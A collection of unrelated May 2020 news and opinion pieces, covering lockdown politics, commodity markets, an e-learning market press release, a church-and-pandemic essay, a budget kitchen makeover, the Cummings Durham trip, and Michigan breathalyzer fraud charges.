The nation's leading public health experts have stressed that the purpose of wearing face masks is largely to protect other people from contracting the virus, which can spread when an infected person sneezes, coughs or talks and releases droplets. Anthony S. Fauci, the director of the National Institute of Allergy and Infectious Diseases, has said that masks can't offer 100 percent protection, but can help stop the spread to some degree, especially in places such as grocery stores where you may come within six feet of other people.

A few other Republican lawmakers had previously bristled at the idea that they would be required to wear a face mask during the special session, NBC Chicago reported, but ultimately complied on Wednesday.

"We cannot ignore nor compromise the health and safety of every member of the General Assembly, their family members, every one of our staffers who works tirelessly for us," Illinois House Republican Leader Jim Durkin said on the floor, the Chicago Tribune reported.

Bailey had previously spoken passionately about fighting for his unemployed constituents in an interview with The Post last month, calling the economic strife the "second pandemic." Asked Wednesday how he will represent them if he can't participate in the legislature without a mask, he said, "I don't know. That's something where I'll have to decide whether I go back tomorrow and wear a mask or not."
(Bloomberg Opinion) -- After 2008, metals and oil rebounded together from the depths of the financial crisis, as Chinas consumption of raw materials took off. This time, their recoveries may look quite different.

Crude faces a lengthy convalescence from the catastrophic lows of April, when U.S. oil plunged into negative territory. Industrial metal prices have fallen far less, and look healthier: Closures to control the spread of coronavirus in countries like Peru have squeezed production, just as China is gearing up. Add in Beijings infrastructure plans, expected to be outlined at the National Peoples Congress meeting starting Friday, plus the prospect of green stimulus and more mineral-intensive clean energy, and the outlook looks rosier still.

Copper is indicative of these divergent paths. Out of other metals, Bloomberg Intelligence reckons it has moved most closely with oil over 160 years  a coefficient of 0.96 over that time. The link is beginning to weaken, and the current crisis will only make that more pronounced.

Why so?

Oil has certainly made an impressive comeback over the past few weeks: Many producers are still losing money, but West Texas Intermediate is back above $30, and there was no repeat of Aprils crash when the contract rolled over this week. Brent crude is up almost 90% after last month dropping below $20. Thats because the supply glut has shrunk, thanks to the end of Russias price war with Saudi Arabia and significant involuntary shutdowns among U.S. producers, easing concerns about global storage capacity. Thats helpful, even if improving prices could bring back some shale activity.

Metals have also taken a hit to output from coronavirus lockdowns in Latin America and elsewhere. In late April, BMO analysts estimated these affected 23% of global capacity for copper, 15% for nickel and 24% for zinc. Projects like Anglo American Plcs Quellaveco in Peru, where workers downed tools, could see delays. Thats helped copper to rise back toward a modest $5,500 per metric ton.

Story continues

Supply reductions arent enough to make a difference without better demand, though, and thats where the divergence becomes clearer.

China tells part of the story. Construction activity and manufacturing are on the mend, drawing down metal inventories. Its true that oil consumption is reviving, too: Chinas taxis, buses and cars have been back at normal levels since early April, and traffic congestion has returned. But while thats good news for gasoline and local refiners, its hardly salvation for global oil. Recoveries elsewhere are progressing more slowly and most of the worlds aircraft are still grounded. Simply put, Chinas recovery matters more for metals, with the country accounting for roughly half of global consumption. By comparison, it makes up less than 14% of oil demand.

Now consider the cautious nature of Beijings economic reboot, which is a signal for other countries, and the bumps along the post-pandemic road to recovery. These make the picture darker for oil. Factories might keep producing washing machines, but more of us will stay away from leisure travel and work from home if incidents like the reappearance of the virus in Chinas northeast repeat themselves. Its not even clear that an aversion to the risks of public transport will get us back in our cars again, as my colleague David Fickling has pointed out. Demand for personal protective equipment like masks is hardly enough to offset a drop in gasoline and even jet fuel, which past experience suggests will take years to recover.

The NPC is expected to include a revived version of past efforts to develop the countrys western hinterland, alongside other stimulus efforts. No one anticipates a boost akin to what was seen in 2008. Even a similar amount would probably have a weaker multiplier effect  yet the boost will matter for copper, zinc and more. And thats before the wider green fiscal push, in and outside China, that favors mined materials needed for batteries, grids and energy storage. The solar industry in Asia-Pacific alone is expected to use around 378,000 tons of copper by 2027, almost double 2018 levels.

Mark Lewis, global head of sustainability research at BNP Paribas Asset Management, splits the long-term pressures in three: the worlds push toward reducing carbon emissions, cheap renewable energy and air pollution, highlighted by the clear blue skies of recent weeks. Add in the behavioral changes brought by the pandemic and the future of oil is more uncertain than ever, he argues. With even Royal Dutch Shell Plc arguing that peak oil demand will come sooner than expected, its hard to disagree.

There may not be a uniform global green stimulus, and some ambitions will remain just that. Yet a World Bank report last week gives an indication of the potential growth story: It says the goal of limiting the global temperature rise to 2 degrees Celsius will require production of graphite, lithium, and cobalt to ramp up by more than 450% by 2050, compared with 2018, in order to meet energy storage requirements. Aluminum and copper, used across technologies, will also be in demand. And thats excluding infrastructure like transmission lines.

In the future well still need oil. We just might need metals more.

This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners.

Clara Ferreira Marques is a Bloomberg Opinion columnist covering commodities and environmental, social and governance issues. Previously, she was an associate editor for Reuters Breakingviews, and editor and correspondent for Reuters in Singapore, India, the U.K., Italy and Russia.

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[May 21, 2020] Research Report with COVID-19 Forecasts- K-12 blended E-learning Market 2020-2024 | Need for Cost-Effective Teaching Model to Boost Growth | Technavio

Technavio has been monitoring the K-12 blended E-learning market and it is poised to grow by USD 12.27 billion during 2020-2024, progressing at a CAGR of almost 14% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200521005645/en/ Technavio has announced its latest market research report titled Global K-12 Blended E-Learning Market 2020-2024 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. D2L Corp., Docebo Inc., Houghton Mifflin Harcourt Co., Instructure Inc., K12 Inc., Pearson Plc, Promethean Ltd., Providence Equity Partners (News - Alert) LLC, Scholastic Corp., and Think & Learn Pvt. Ltd. are some of the major market participants. The need for cost-effective teaching model will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Need for cost-effective teaching model has been instrumental in driving the growth of the market. K-12 blended E-learning Market 2020-2024: Segmentation K-12 blended E-learning Market is segmented as below: Product Hardware Content System Solutions Others

Geography North America APAC Europe South America MEA

To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43632



K-12 blended E-learning Market 2020-2024: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our K-12 blended E-learning market report covers the following areas:

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K-12 blended E-learning Market Industry Analysis This study identifies need for SCORM-compliant content as one of the prime reasons driving the K-12 blended E-learning market growth during the next few years. K-12 blended E-learning Market 2020-2024: Vendor Analysis We provide a detailed analysis of vendors operating in the K-12 blended E-learning market, including some of the vendors such as D2L Corp., Docebo Inc., Houghton Mifflin Harcourt Co., Instructure Inc., K12 Inc., Pearson Plc, Promethean Ltd., Providence Equity Partners LLC, Scholastic Corp., and Think & Learn Pvt. Ltd. Backed with competitive intelligence and benchmarking, our research reports on the K-12 blended E-learning market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform K-12 blended E-learning Market 2020-2024: Key Highlights CAGR of the market during the forecast period 2020-2024

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Estimation of the K-12 blended E-learning market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the K-12 blended E-learning market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of K-12 blended E-learning market vendors Table Of Contents: Executive Summary Market Landscape Market ecosystem

Value chain analysis Market Sizing Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019 - 2024 Five Forces Analysis Five forces summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition Market Segmentation by Product Market segments

Comparison by Product

Hardware - Market size and forecast 2019-2024

Content - Market size and forecast 2019-2024

System - Market size and forecast 2019-2024

Solutions - Market size and forecast 2019-2024

Others - Market size and forecast 2019-2024

Impact of COVID-19 pandemic on the market

Market opportunity by Product Customer Landscape Geographic Landscape Geographic segmentation

Geographic comparison

North America - Market size and forecast 2019-2024

APAC - Market size and forecast 2019-2024

Europe - Market size and forecast 2019-2024

South America - Market size and forecast 2019-2024

MEA - Market size and forecast 2019-2024

Impact of COVID-19 pandemic globally

Key leading countries

Market opportunity by geography Market Drivers Market Challenges Market Trends Vendor Landscape Overview

Vendor landscape

Landscape disruption Vendor Analysis Vendors covered

Market positioning of vendors

D2L Corp.

Docebo Inc.

Houghton Mifflin Harcourt Co.

Instructure Inc.

K12 Inc.

Pearson Plc

Promethean Ltd.

Providence Equity Partners LLC

Scholastic Corp.

Think & Learn Pvt. Ltd. Appendix Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200521005645/en/

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Categorizing the church as a non-essential institution is another blow to the Latino church. Many know firsthand what it means to be marginalized in society. Forced church closures add to this experience of rejection. It tells the Latino church that its ministry role in the neighborhood is not needed during this pandemic. The federal government does not identify churches as being so essential that their closure would have a debilitating effect on security, economic security, public health or safety. This categorization itself has bothered not only Latino ministers, but many other Christians, as seen by recent lawsuits in California, Virginia, Tennessee, Illinois, and Kansas, to name a few.

Like many others, Latino Pentecostal ministers in southern California are facing the challenging choice between the freedom to gather or the freedom to put others first by staying at home.

Since the First Amendment includes the freedom to worship and the ability to assemble, churches are fighting for their constitutional freedom to congregateincluding some Latino pastors in California who are planning to reassert this right on Pentecost Sunday, May 31, with or without state approval. They may not have the resources to join a lawsuit, so civil disobedience is another means to voice their displeasure.

But this desire to reopen will involve more than an expression of our constitutional right to gather. It will reveal how we understand our freedoms in Christ; whether we champion the right to gather above the health and safety needs of the other. This decision is not that simple. It also intersects with ministerial, cultural, and technological challenges in being the church for the Latino community.

John Brito, the senior pastor of Spirit Life Community Church in Norwalk, California, is concerned not just for his congregations spiritual well-being, but for their entire, holistic livesspirit, soul, and body. The average family is running out of money. I know people that got the stimulus check and it has not been enough to keep them going, Brito said. There are real families that are hurting. Business owners are going under, despite intervention from the government. The death tolls predicted by the models never materialized, and now we have to endure a lockdown for three more months?

Economic hardship is another kind of pain, suffering, and death, he said. His ardent love for his congregation keeps him going. He continues to minister, preach, teach online, and network for resources for the community. But Brito also has concerns with the governments stay-at-home orders. He even wonders if they are taking advantage of the pandemic in order to bring another agenda to keep the churches closed indefinitelyalthough most recent statements propose church opening within weeks. For many Latino and Latina pastors, indefinite closure is also interpreted as a spiritual attack on the very institution and mission of the church, an attack that they will not allow without a response.

Brito represents those who are not certain if the data on the pandemic and disease in California is an accurate assessment. After all, COVID-19 related deaths in California do not mirror New York and prolonged closures of small businesses impact Latino families disproportionately. Other pastors are also discouraged that politicians do not trust churches to practice safe social distancing. As one pastor of a large Latino church asked, why are we more dangerous than others? Why are we a higher risk than stores like Home Depot? COVID-19s financial, psychological, and emotional impact on the Latino community has led some to reassert their rights with planned civil disobedience.

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Freedom to Gather

Further, the COVID-19 pandemic is forcing the Latino Pentecostal church in Southern California to rethink what it means to be called a church for the people. The identity of the Latino church is colliding with both the stay-at-home orders and the American constitutional right to gather in peaceful assembly. As Pastor Brito explains, the church is a gathering of people, it is an ecclesia. Without the gathering, we are not the church.

Not all Latino ministers agree. Pastor, if your notion of church service is a gathering on Sunday, no wonder our government sees us as non-essential, says Jack Miranda, the executive director of the Jesse Miranda Center for Hispanic Leadership. Miranda encourages ministers to look at their ministries and ascertain if they are making an essential impact on their communities. If our churches would take Jesus teaching in Matthew 25 to heart, perhaps the church would never have been categorized as a non-essential institution. Miranda believes that keeping church gatherings temporarily suspended for the sake of peoples health does not impede the proclamation of the gospel.

Latino pastors recognize that their churches are an essential institution. The Latino church serves the most vulnerable and underrepresented community. It establishes itself in places where no church of privilege wants to be. Who will minister to the drug addict, the gang member, the migrant, and homeless if not the Latino churchwhich also resides in the same community? The Latino church may not have a public marketing campaign and advertise all the benefits it has provided to the city, but it does have an essential role. The failure to recognize this contribution does not sit well with many pastors and ministers.

A Christian life without corporate worship proves most difficult for many Latinos and Latinas. We do not go to church just for an hour. Our services are longer, often three hours. Church is a place not only for sharing in worship, but also in food, culture, and language. It is the one sacred place where a marginalized Latina can worship with her fellow sisters and brothers in her own native tongue. It is the one place where her cultural identity is part of her religious experience. There is something different about being in a place where one does not feel marginalized, profiled, and stereotyped. Church, for the Latino community, is the place where we are important in the eyes of God. Losing the ability to gather has a greater loss for the Latino believer, especially in a society that marginalizes and undervalues their contribution. For these reasons and more, Latino pastors and ministers are willing to reassert their right to gather.

Freedom to Serve

But what if our entire focus on the freedom to gather is misplaced? Rather, what if this is a season for the church to utilize their freedom to serve?

The apostle Paul talks about freedom, but not in a way that could be easily reconciled with American ideals. It is not the type of freedom that we fight for in legislative battles or class-action lawsuits. In Galatians 5:1, Paul states, It is for freedom that Christ has set us free. Paul talks about freedom in Christ but for what end? To protest all forms of hindrances, laws that govern our ability to move, shake hands, or gather in our churches?

This discussion on freedom was in reference to the Mosaic Law. Paul is trying to make the argument in these verses that those who attempt to be made righteous by the law through circumcision are nullifying the righteousness that comes from Christ through the Spirit (Gal. 5:2-6). He continues, You, my brothers and sisters, were called to be free. But do not use your freedom to indulge the flesh rather, serve one another humbly in love. For the entire law is fulfilled in keeping this one command: Love your neighbor as yourself (Gal. 5:13-14).

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Paul encourages the Corinthian church to serve others with their freedom. To the Christians who complain about people seeking to limit their freedoms, Paul responds: do not cause anyone to stumble for I am not seeking my own good but the good of many, so that they may be saved (1 Cor. 10:29-33). Their freedoms had limitations and must be oriented toward the other.

What if we take Pauls language on freedom seriously? What would happen if instead of fighting to gather in a building we would actively fight for the freedom to serve our neighbor? What if we put our brother or sisters safety above our own desires to be with them? The activities of my freedom should be determined and shaped by the needs of my neighbor.

Their needs are simple: food, health, and medical resources for the most vulnerable communities. Many have lost their jobs and are struggling to put food on the table or endure this pandemic season with adequate housing and financial support. In fact, CDC guidelines encourage community organizations to work across sectors to connect people with services, such as grocery delivery or temporary housing.

It is a huge issue, said food bank director Cecelia Bernal. Because if you do not have food, then all other issues will emerge like stress and anxiety.Ever since the COVID-19 pandemic hit Los Angeles county, the food ministry at another Latino Pentecostal church, Church of the Redeemer in Baldwin Park, has grown exponentially. Like many other food banks, they are working hard to serve the needs of the community. They used to serve the community once a month. Now they open the church eight times a month and include home deliveries for seniors and those who are unable to drive to the church.

Bernal is a Latina leader for her community that serves people all over Los Angeles county. She and her volunteers represent another way of utilizing freedom in Christ by providing essential needs. People come not for spiritual food, but their daily bread. We always say that we are the church, she said. Now we see that you do not have to be in the building, [but] together we are still the church.

Which Freedom Will We Choose?

We are not the only believers throughout history who have lost the right to gather publicly. The Jewish people who were exiled to Babylon and those who survived the destruction of the temple in 66-70 CE were able to worship apart from buildings. Early Christians would secretly gather in homes or catacombs and worship together before the emergence of the basilica. Yes, worship can be facilitated through communal gatherings. Hebrews 10:25 calls for believers to gather.

We must remember that our freedom to worship has not been restrained; only the ability to gather in buildings. Believers throughout the years have learned to worship apart from buildings. Gathering must be different during COVID-19. We can preach online. Other Latino ministers had already adjusted to these new realities of online church. But these are the adaptable tech-savvy churches or those who had utilized the skills of second-generation Latinos and Latinas prior to COVID-19. Other Latino churches do not have technology budgets or church members with reliable internet access at home. This is another reason why it is appealing to reenter their buildings and defy orders. There is a desire to belong together, and the church building location is a place of belonging. The Latino church is wrestling with the desire to belong without putting their most vulnerable at risk.

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The Latino church is one example of the complexity and challenges of gathering together. What are we going to be known for as a church during this season? That we defied stay-at-home orders and placed our most vulnerable in harms way? The way we gather is also a public statement on how we view and value one another. The freedom of Christ that is fundamental to our faith is not supposed to be lived for oneself. It is a freedom that prompts us to reimagine how we can love and serve one another, especially during this pandemic. We must exercise our freedom with the most vulnerable in mind. Our freedoms are not unlimited rights to put the communitys health at risk, especially communities that may not have access to adequate health care and experience further unintended consequences of contracting COVID-19.

There is an even heavier burden on Latino pastors: their congregations especially look to their spiritual leaders for direction. Latino and Latina believers view the pastor as an esteemed figure anointed by God to lead the local church. The pastors decision will communicate more than just a desire to gather, it will reveal how they believe God views the most vulnerable.

But perhaps we also need to look at other Latinos who are already considered essential workers, the people who make up the church nationwide. This includes undocumented workers who pick the food from agriculture fields, Latina grocery clerks who expose themselves to multitudes of people, and the food plant employees who have been ordered to resume work by presidential executive order. The Latino church and many of our multiethnic churches are made up of many migrant and marginalized members who are the church.

These people exemplify what it means to serve others through their vocations. They are not free to serve our consumer goods through Zoom meetings, but are putting their lives at risk. They gather to serve and put the needs of others first. Can the broader Christian community follow suit? Or will we use the most vulnerable amongst us, our people, our gatherings, to force the governmental authorities to relent and allow us to officially gather?

We need a reorientation of our understanding of freedom and make churches essential again. We need new ways of thinking about what it means to make the church visible to our civil leaders. We need to creatively brainstorm what it means to gather for each other. We cannot go back to the church as usual, thinking that fighting for the freedom to gather exemplifies what it means to be a church. This is not how we use our freedom given to us by Christ. The freedom of Christ is not found in those who want to walk around without facemasks, overload our healthcare workers by not washing their hands, or open churches without social distancing measures and spread the disease. The church is not a place solely for social belonging. It is a church because its identity imitates Christ, who utilized his own freedom and life to serve others, especially the most vulnerable. This would be the freedom Paul beckons: the freedom to put the needs of the other before my own.

Rodolfo Galvan Estrada III is the director of institutional research and adjunct professor of the New Testament at Fuller Theological Seminary. His most recent book is A Pneumatology of Race in the Gospel of John.





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A woman revealed how she transformed her kitchen for just 105.

Margaret Douglas, 23, from the Isle of Barra, moved into her brother's flat in Dumfries, last August and decided the place needed a revamp.

Wanting to make the space look lighter and brighter, she brought budget items from B&M, The Range and Amazon and saved money with clever hacks like painting the tiles and cupboard doors.

Margaret Douglas, 23, who lives in Dumfries, Scotland, has impressed DIY fans with her budget kitchen transformation (pictured)

Margaret revealed that she was inspired to overhaul her kitchen, after moving into a flat that belonged to her brother. Pictured: The kitchen before

She said: 'I've always been into interior design and decor and this was my first time living on my own I took it as an opportunity to do exactly what I wanted.'

Margaret, who has always enjoyed DIY, started by cleaning the cabinets with sugar soap and painting them with three coats of paint.

What did Margaret use for her kitchen transformation? DC Fix on from B&M : 26.97 Cabinet handles from Amazon: 15 Lighting from The Range: 29.99 Rustoleum furniture paint: 15 Dulux Tile Pain in Jade White: 17.99 Total spend: 105 Advertisement

'I then pulled off the old sealant between the tiles and the worktop and again gave everything a good clean, sanding down any bumps and then went on to paint the tiles. Again 3 coats were needed as I went from black to white.

'Next was the worktop, I found it easiest to start in one corner and work diagonally, I highly recommend the DC Fix application kit. I got a lot of comments about the join in the worktops.

'I simply stuck down a regular piece that covered the worktop then used masking tape as a guide to cut off the piece I didn't need.

'I did the exact same in the other direction and I couldn't be happier with the way it looks.'

Margaret (pictured) invested in budget materials from B&M, The Range and Amazon to achieve her desired look for just 105

The 23-year-old impressed Facebook users after sharing a selection of photos of the kitchen before (pictured) and after, with some saying the room looks unrecognizable

She gave the cabinets an instant refresh with a new coat of white paint and metallic handles

Margaret painted the walls grey using a combination of leftover black and white paint she had in storage, including Rustoleum furniture paint for 15 and Dulux Tile Pain in Jade White for 17.99.

Her father helped her install the new flooring for free.

Margaret posted her kitchen transformation on Facebook's Extreme Couponing and Bargains Group, racking up over 2.9,000 likes as dozens of users praised her for a job well done.

One wrote: 'Bloody wonderful lovely and bright'

Another said: 'Wow, you honestly wouldn't. Believe that was the same kitchen!'

A third added: 'I did my cupboards too!. This is one of the nicest ones I've seen. Well done.'

Margaret revealed that it took three coats of paint to achieve the look she desired. Pictured: The 23-year-old's kitchen before the transformation
Boris Johnson is facing calls to sack his most senior adviser Dominic Cummings after reports suggested the top aide had flouted lockdown rules to travel to Durham to self isolate from coronavirus.

Police allegedly approached Mr Johnsons chief aide to explain government advice against non-essential travel after he was spotted some 375km north of the capital.

No 10 confirmed that Mr Cummings was self isolating after developing coronavirus symptoms at the end of March  shortly after he was seen running out of Downing Street following the news that Mr Johnson and Matt Hancock had been struck down by the virus.

Downing Street was repeatedly asked by journalists about Mr Cummingss whereabouts during this period but the prime ministers official spokesman would only say that he was in contact with No 10.

A joint report by the Daily Mirror and The Guardian has now claimed that Mr Cummings had travelled to his parents home in County Durham  despite government instructions to stay at home.

Read more

Mr Cummings was reportedly seen at the property with his young son on 5 April, the same day the prime minister was admitted to hospital with coronavirus.

The sighting occurred on the same day that Scotlands chief medical officer Catherine Calderwood stepped down after breaching lockdown rules to visit her second home.

Professor Neil Ferguson, one of the governments scientific advisers, also had to resign from his post after flouting guidance to visit his married lover.

Sir Ed Davey, the acting Liberal Democrat leader, said: If Dominic Cummings has broken the lockdown guidelines he will have to resign. Its as simple as that.

SNP Westminster leader Ian Blackford said his position was untenable, adding: Boris Johnson must now show Domninic Cummings the door  otherwise people will conclude the Tories were so keen to leave lockdown because they werent following the rules in the first place.

A Labour spokesperson said there must be a very swift explanation for his actions.

The governments guidance was very clear: stay at home and no non-essential travel, a spokesperson said.

The British people do not expect there to be one rule for them and another rule for Dominic Cummings. No 10 needs to provide a very swift explanation for his actions.

Care home hit by coronavirus: A rare glimpse of life inside Show all 18 1 /18 Care home hit by coronavirus: A rare glimpse of life inside Care home hit by coronavirus: A rare glimpse of life inside Jack Dodsley, 79, with a carer in PPE at Newfield Nursing Home Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside Jackie Wilson, a healthcare assistant, wearing PPE before going into rooms Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside Jack Dodsley, 79, speaks to a carer at Newfield Nursing Home Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside Carers working at Newfield Nursing Home Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside A care worker wearing PPE opens a drink carton Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside Jack Dodsley, 79, sits with a carer Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside Jack Dodsley, 79, with a carer in PPE Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside A care staff member wearing PPE Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside A staff member at Newfield Nursing Home looks after a resident SWNS Care home hit by coronavirus: A rare glimpse of life inside A carer wearing PPE uses a speaker Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside A carer helps Jack Dodsley, 79, from his chair Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside A carer wearing PPE helps Jack Dodsley, 79 Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside A staff member at Newfield Nursing Home Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside A carer brings food to a resident at Newfield Nursing Home Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside Jack Dodsley, 79, with a carer in PPE Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside A staff member puts on PPE at Newfield Nursing Home Tom Maddick/SWNS Care home hit by coronavirus: A rare glimpse of life inside Jackie Wilson, a healthcare assistant, puts on PPE before she enters a room SWNS Care home hit by coronavirus: A rare glimpse of life inside A bench at Newfield Nursing Home Tom Maddick/SWNS

Downing Street did not respond to repeated requests for comment, but a friends of Mr Cummings said: He isnt remotely bothered by this story, its more fake news from the Guardian.

There is zero chance of him resigning.

Lockdown rules were unveiled by the prime minister on 23 March, which said: You should not be visiting family members who do not live in your home.

The only exception is if they need help, such as having shopping or medication dropped off.

On 27 March, Mr Johnson was revealed to be suffering with coronavirus. Mr Cummings was seen dashing out of No 10 shortly after the announcement.

His wife Mary Wakefield recently wrote in The Spectator that he began to feel unwell around 24 hours after he rushed home to be with her.

But a member of the public reportedly spotted Mr Cummings in Durham on 31 March and complained to the police.

A spokesperson for Durham Constabulary said: On Tuesday, 31 March, our officers were made aware of reports that an individual had travelled from London to Durham and was present at an address in the city.

Officers made contact with the owners of that address who confirmed that the individual in question was present and was self-isolating in part of the house.

In line with national policing guidance, officers explained to the family the guidelines around self-isolation and reiterated the appropriate advice around essential travel.

A neighbour then reportedly spotted Mr Cummings at his parents house on 5 April after hearing Abba blasting from the garden.

The neighbour, who has not been named, said: I got the shock of my life, as I looked over to the gates and saw him.

There was a child, presumably his little boy, running around in front. I recognised Dominic Cummings, hes a very distinctive figure.

They added: I was really annoyed. I thought its okay for you to drive all the way up to Durham and escape from London.

I sympathise with him wanting to do that but other people are not allowed to do that. Its one rule for Dominic Cummings and one rule for the rest of us.

Mr Cummings was next seen in Downing Street on 14 April, where he was photographed entering the building clutching a packed lunch.
WILLINGTON  Police continue to search for a suspect who is allegedly armed and dangerous after he killed one man and wounded another during an assault with an edged weapon Friday morning, Connecticut State Police said.

Just after 9 a.m., troopers from Troop C responded to an incident on Mirtl Road to find two victims  both elderly men  suffering from injuries after an assault, state police said.
The flags of countries that are home to Jewish communities hard hit by COVID-19 projected on to the walls of the Old City of Jerusalem in a show of support sponsored by the Diaspora Affairs Ministry on May 12, 2020.

JERUSALEM (JTA)-The flags of countries that are home to Jewish communities hard hit by COVID-19 were projected on the walls of the Old City of Jerusalem.

The event held Tuesday night by the Diaspora Affairs Ministry in support of Jewish communities around the world and their home countries also saw representatives of youth groups in Israel waving the flags of dozens of countries in front of the Jaffa Gate.

"Demonstrating support tonight for our Jewish brothers and sisters in all communities around the world," Diaspora Affairs Minister Tzipi Hotovely said in a statement. "Israel sends a big...
Now this is not the end. It is not even the beginning of the end. But it is, perhaps, the end of the beginning.

This quote is from Winston Churchill in 1942 referring to Britains victory over Nazi Germany at El Alamein, Egypt. Perhaps it speaks to us today in light of the COVID-19 pandemic.

A brilliant leader and orator, Churchill was able to inspire the British and Allies through World War II and on to the ultimate victory. He had already given his famous We shall fight on the beaches ... speech in 1940. Churchill is a fountainhead of inspiring quotes and speeches.

President Franklin D. Roosevelt was also a great source of inspiration through the Great Depression and World War II with his speeches, his fireside chats on radio and his famous quote, The only thing we have to fear is fear itself.

In times of peril and trial, great leaders are able to assure and inspire their people through the strength of their language and the power of their oratory. Past presidents  George Washington, Abraham Lincoln, Teddy Roosevelt, JFK, Ronald Reagan and Barack Obama  are among some of the more renowned orators to have occupied the Oval Office.

Even the prosaic Harry S. Truman is remembered for his famous quote The buck stops here. George W. Bush while not known for soaring rhetoric had an inspiring, unscripted high point addressing the workers at ground zero with his words I can hear you! I can hear you! The rest of the world hears you! And the people  and the people who knocked these buildings down will hear all of us soon!

Why is it that many leaders, when calamity strikes, have the ability to unify, calm and reassure their citizenry by their speech and eloquence? Is it mainly the meaning of their words, their style, their manner?

At risk of being somewhat pedantic, I believe the answer in part lies in the ideas of ethos, pathos and logos. These Greek terms from Aristotle are types of persuasion, sometimes called the three pillars of public speaking.

Ethos is an appeal to the authority of the presenter. This speaks to the credibility, character and qualifications of the speaker. We are convinced that the presenter is competent to address the issue.

Pathos is an appeal to the audiences emotions. Emotional appeals can be evoked by the use of metaphor and by passionate delivery. The imagination and talent of the presenter are prime in this appeal. This mode can also carry the most risk of abuse.

Logos is an appeal to logic  the use of facts, data and reasoning to persuade an audience.

Therefore, an ethical, empathetic and logical speaker has the tools to lead, inspire and persuade. When these techniques come together in an energetic and charismatic personality, a great leader can emerge. There is still, however, an intangible spark needed to separate exceptional individuals from the more pedestrian aspirants.

It has been said that tumultuous times also produce people who rise to the occasion.

We can only hope that it is so.

John Eubanks is an author, former teacher and actor who lives in Converse. He can be reached at joneu62@gmail.com.
LANSING - Michigan Attorney General Dana Nessel filed felony charges Thursday against two breathalyzer technicians for falsifying maintenance records on equipment.

David John, 59, of Kalamazoo, and Andrew Clark, 53, of Oxford, were charged with conducting diagnostic tests, maintenance and repairs on all breath alcohol testing instruments for the Lower Peninsula, Nessels office said. They and one other technician worked for Intoximeters Inc., a maintenance contractor for the Michigan State Police, since September 2018, according to the attorney generals office.

Clark faces six felony counts total, including two for forgery of a public record, two for publishing false material and two for using a computer to commit the crime, Nessels office said. He could be looking at up to 14 years in prison. John faces the same charges, with an additional count of each, or nine felonies total. He also faces a maximum 14-year sentence.

Both men were required to physically visit more than 200 testing sites every 120 days to conduct diagnostic verifications, calibrations and repairs, Nessels office said. MSP discovered discrepancies in the reports that John and Clark submitted in January 2020, leading to an investigation.

Investigators allege John and Clark fabricated documents showing they completed maintenance on two faulty instruments, one with the Beverly Hills Police Department and the other with the Alpena County Sheriffs Office. State police temporarily removed all breathalyzers from Intoximeters from service to allow for an internal review of the instruments diagnostics, the attorney generals office said.

The MSP promptly began working with the Attorney Generals Public Integrity Unit, continuing to demonstrate a steadfast belief that public trust and accountability are essential in government, Nessels office said in a news release. The combined efforts of the MSP Breath Alcohol Program, MSP Fraud Investigation Section and the Attorney Generals Public Integrity Unit have culminated in the charges announced today.

After four months of investigation, Nessels office filed the felony charges against John and Clark.

Those who hold positions of trust and responsibility at any level within our overall system of justice must be held to a high standard. When that trust is betrayed, it is incumbent upon my department to ensure accountability on behalf of the people of our state. Nessel said in the release. Im grateful for the Michigan State Polices assistance in this investigation, and I know that the MSP and my Public Integrity Unit have handled this matter appropriately and in the publics best interest.

Breathalyzer maintenance has been performed within the 120-day paramaters by certified MSP staff since a week after the discrepancies were discovered, the attorney generals office said. The state police contract with Intoximeters Inc. was terminated April 9.

From the time we first uncovered discrepancies, the MSP was committed to conducting a complete and thorough investigation, and to being as transparent as possible regarding the outcomes of this situation, said Michigan State Police Director Col. Joe Gasper in the release. We recognize the critical role these instruments can play in drunk driving convictions and we are confident that a properly calibrated and maintained DataMaster remains an extremely reliable instrument.

Clark has been arraigned in the Eaton County District Court and was released on bond. He is scheduled for a probable cause conference at 4 p.m. June 1. John will be arraigned at a later date due to reduced court operations related to COVID-19, officials said.

No lawyers were listed in court records on either John nor Clark.

READ MORE

